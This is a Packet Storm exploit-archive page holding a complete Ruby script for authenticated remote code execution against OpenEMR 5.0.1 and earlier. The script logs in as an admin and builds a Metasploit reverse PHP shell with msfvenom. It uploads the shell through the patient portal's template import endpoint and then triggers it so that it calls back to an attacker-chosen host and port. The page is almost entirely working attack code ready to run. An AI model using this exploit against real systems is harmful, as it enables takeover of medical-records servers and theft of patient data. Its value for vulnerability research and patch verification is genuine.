what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenEMR 5.0.1 Remote Code Execution

OpenEMR 5.0.1 Remote Code Execution
Posted Aug 3, 2020
Authored by Alexandre Zanni | Site github.com

OpenEMR versions 5.0.1 and below authenticated remote code execution exploit written in ruby.

tags | exploit, remote, code execution, ruby
SHA-256 | 7f48877b7731f082b5433de3e5ae805d4a0f4a8de62daf8987025281c09c42ae

OpenEMR 5.0.1 Remote Code Execution

Change Mirror Download
#!/usr/bin/env ruby

# Title: OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution
# Exploit Author: Alexandre ZANNI
# Date: 2020-07-16
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile
# Version: < 5.0.1 (Patch 4)
# Tested on: Ubuntu 18.04, OpenEMR Version 5.0.1.3
# References: https://www.exploit-db.com/exploits/48515

require 'httpclient'
require 'docopt'

shell_name = 'shell4.php'
user = 'openemr_admin'
password = 'xxxxxx'
payload = 'php/reverse_php'
lhost = '10.10.15.201'
lport = 8888

doc = <<~DOCOPT
OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution

Usage:
#{__FILE__} manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]
#{__FILE__} semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]
#{__FILE__} auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]
#{__FILE__} -H | --help

Options:
-r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder
-s <filename>, --shell <filename> Filename of the PHP reverse shell payload
-u <username>, --user <username> Username of the admin
-p <password>, --password <password> Password of the admin
-m <payload>, --payload <payload> Metasploit PHP payload
-h <host>, --lhost <host> Reverse shell local host
-t <port>, --lport <port> Reverse shell local port
--debug Display arguments
-H, --help Show this screen

Examples:
#{__FILE__} manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
#{__FILE__} semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
#{__FILE__} auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999
DOCOPT

begin
args = Docopt.docopt(doc)
pp args if args['--debug']
if args['manual']
shell_name = File.basename(args['--shell'])
shell_path = args['--shell']
else
shell_name = "tmp#{rand(1000)}.php"
shell_path = shell_name
end
if args['semi-auto']
payload = args['--payload']
else
payload = 'php/reverse_php'
end
# Authentication data
uri_1 = URI("#{args['--root-url']}/interface/main/main_screen.php?auth=login&site=default")
data_1= {
'new_login_session_management' => '1',
'authProvider' => 'Default',
'authUser' => args['--user'],
'clearPass' => args['--password'],
'languageChoice' => '1'
}
# Reverse shell data
unless args['manual']
puts "[+] Generating the reverse shell payload: #{shell_name}"
%x(msfvenom -p #{payload} LHOST=#{args['--lhost']} LPORT=#{args['--lport']} -f raw > #{shell_name})
end
data_2 = {
'site' => 'default',
'mode' => 'save',
'docid' => shell_name,
'content' => File.read(shell_path)}
uri_2 = URI("#{args['--root-url']}/portal/import_template.php?site=default")
uri_3 = URI("#{args['--root-url']}/portal/#{shell_name}")

clnt = HTTPClient.new

puts '[+] Authenticating'
clnt.post(uri_1, data_1)

puts '[+] Uploading the reverse shell'
clnt.post(uri_2, data_2)

puts "[+] Executing the reverse shell: #{args['--root-url']}/portal/#{shell_name}"
clnt.get(uri_3)
rescue Docopt::Exit => e
puts e.message
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close